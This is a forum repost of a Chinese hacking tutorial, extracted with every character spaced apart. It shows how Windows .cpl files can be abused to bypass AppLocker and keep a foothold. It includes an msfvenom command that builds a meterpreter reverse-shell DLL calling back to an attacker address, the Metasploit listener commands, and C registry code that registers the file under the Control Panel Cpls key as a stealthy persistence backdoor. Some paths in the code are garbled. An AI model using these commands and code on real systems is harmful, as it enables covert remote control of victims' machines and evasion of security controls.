搜索

[18616] 2021-08-12_干货巧用cpl文件维持权限和免杀

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-12_干货巧用cpl文件维持权限和免杀 干 货   |   巧 用 c p l 文 件 维 持 权 限 和 免 杀 原 创   B u f f e r   H A C K 学 习 呀   2 0 2 1 - 0 8 - 1 2 收 录 于 话 题 # 免 杀   , 2 # 权 限 维 持   , 4 前 言 前 言 最 近 无 意 间 发 现 了 c p l 文 件 , 之 前 对 该 类 型 的 文 件 了 解 几 乎 为 零 , 由 于 触 及 到 我 的 知 识 盲 区 , 于 是 决 定 探 究 。 c p l 文 件 文 件 C P L 文 件 ， 是 W i n d o w s 控 制 面 板 扩 展 项 ， C P L 全 拼 为   在 s y s t e m 3 2 目 录 下 有 一 系 列 的 c p l 文 件 , 分 别 对 应 着 各 种 控 制 面 板 的 子 选 项 列 入 我 们 输 入 C o n t r o l   P a n e l   I t e m w i n + R m a i n . c p l
将 会 打 开 控 制 面 板 中 的 鼠 标 属 性 c p l 文 件 本 质 是 属 于 P E 文 件
但 c p l 并 不 像 e x e , 更 像 是 d l l , 无 法 直 接 打 开 , 只 能 以 加 载 的 形 式 运 行 。 并 且 有 一 个 导 出 函 数   该 函 数 是 控 制 面 板 应 用 程 序 的 入 口 点 ， 它 被 控 制 面 板 管 理 程 序 自 动 调 用 ， 且 是 个 回 调 函 数 。 如 何 打 开 如 何 打 开 c p l 1 . 双 击 或 者 w i n + r   x x x . c p l   2 . c o n t r o l   < 文 件 名 >   3 . r u n d l l 3 2   s h e l l 3 2 . d l l , C o n t r o l _ R u n D L L   < 文 件 名 >   注 意 ： 所 有 r u n d l l 3 2 s h e l l 3 2 . d l l , C o n t r o l _ R u n D L L 的 命 令 均 可 用 c o n t r o l 替 代 ， c o n t r o l . e x e 实 质 调 用 了 r u n d l l 3 2 . e x e 。 打 开 后 找 不 到 c o n t r o l . e x e 进 程 ， 只 能 找 到 r u n d l l 3 2 . e x e 。 C P l A p p l e t
4 . v b s 脚 本 5 . j s 脚 本 D i m   o b j S e t   o b j   =   C r e a t e O b j e c t ( " S h e l l . A p p l i c a t i o n " ) o b j . C o n t r o l P a n e l I t e m ( " C : U s e r s 1 1 7 9 3 D e s k t o p c p l . c p l " )
如 何 自 己 制 造 一 个 如 何 自 己 制 造 一 个 c p l 文 件 文 件 最 简 单 的 方 式 : 直 接 创 建 一 个 d l l , 无 需 导 出 函 数 , 然 后 改 后 缀 名 随 便 一 种 方 式 执 行 v a r   a   =   n e w A c t i v e X O b j e c t ( " S h e l l . A p p l i c a t i o n " ) ; a . C o n t r o l P a n e l I t e m ( " C : U s e r s 1 1 7 9 3 D e s k t o p c p l . c p l " ) ; B O O L   A P I E N T R Y   D l l M a i n (   H M O D U L E   h M o d u l e ,                                               D W O R D     u l _ r e a s o n _ f o r _ c a l l ,                                               L P V O I D   l p R e s e r v e d ) { s w i t c h ( u l _ r e a s o n _ f o r _ c a l l ) { c a s e   D L L _ P R O C E S S _ A T T A C H : W i n E x e c ( " C a l c . e x e " ,   S W _ S H O W ) ; c a s e   D L L _ T H R E A D _ A T T A C H : c a s e   D L L _ T H R E A D _ D E T A C H : c a s e   D L L _ P R O C E S S _ D E T A C H : b r e a k ; } r e t u r n   T R U E ; }
这 里 既 然 可 以 弹 出 c a l c . e x e , 那 么 能 不 能 执 行 自 己 的 p a y l o a d 的 呢 , 答 案 是 肯 定 的 。 c p l 文 件 的 应 用 文 件 的 应 用 b y p a s s   W i n d o w s   A p p L o c k e r 什 么 是 :   A p p L o c k e r 即 “ 应 用 程 序 控 制 策 略 ” ， 是 W i n d o w s   7 系 统 中 新 增 加 的 一 项 安 全 功 能 。 在 w i n 7 以 上 的 系 统 中 默 认 都 集 成 了 该 功 能 。 默 认 的 A p p l o c k e r 规 则 集 合 , 可 以 看 到 c p l 并 不 在 默 认 规 则 中 : W i n d o w s   A p p L o c k e r
开 启 A p p l o c k e r 规 则 :   打 开 计 算 机 管 理 , 选 择 服 务 , 将 服 务 开 启 然 后 在 安 全 策 略 中 , 添 加 一 条 a p p l o c k e r 规 则 , 会 询 问 是 否 添 加 默 认 规 则 A p p l i c a t i o n   I d e n t i t y
默 认 规 则 为 :
假 设 设 置 某 一 路 径 无 法 执 行 可 执 行 程 序 , 再 次 运 行 时 就 会 提 示 组 策 略 安 全 , 不 允 许 运 行 绕 过 的 方 式 有 很 多 , 这 里 只 讲 c p l 文 件   完 全 可 以 把 代 码 写 入 到 c p l 文 件 中 , 同 样 达 到 执 行 目 的 , 这 里 就 弹 一 个 c m d m s f 直 接 生 成 直 接 生 成 c p l 文 件 文 件 生 成 c p l 文 件   m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - b   ' x 0 0 x f f '   l h o s t = 1 9 2 . 1 6 8 . 1 1 1 . 1 2 8   l p o r t = 8 8 7 7   - f   d l l   - o   c p l . c p l
将 文 件 拖 到 本 地 并 运 行 , m s f 监 听 • u s e   e x p l o i t / m u l t i / h a n d l e r • s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p • s e t   l h o s t   1 9 2 . 1 6 8 . 1 1 1 . 1 2 8 • s e t   l p o r t   8 8 7 7 • e x p l o i t 这 样 肯 定 是 不 够 的 , 可 以 把 这 个 c p l 文 件 当 作 一 个 后 门 , 做 到 一 个 权 限 维 持 的 效 果 , 且 比 较 隐 蔽 。 将 c p l 文 件 名 称 改 为   创 建 一 个 项 目 , 作 用 为 修 改 注 册 表 : 不 一 定 将 c p l 文 件 放 到 c 盘 更 目 录 , 可 以 自 定 义 路 径   执 行 后 t e s t . c p l H K E Y   h K e y ; D W O R D   d w D i s p o s i t i o n ; c h a r   p a t h [ ]   =   " C : t e s t . c p l " ; R e g C r e a t e K e y E x A ( H K E Y _ C U R R E N T _ U S E R , " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n C o n t r o l   P a n e l C p l s " ,   0 R e g S e t V a l u e E x A ( h K e y ,   " t e s t . c p l " ,   0 ,   R E G _ S Z ,   ( B Y T E * ) p a t h ,   ( 1 +   : : l s t r l e n A ( p a t h ) ) ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理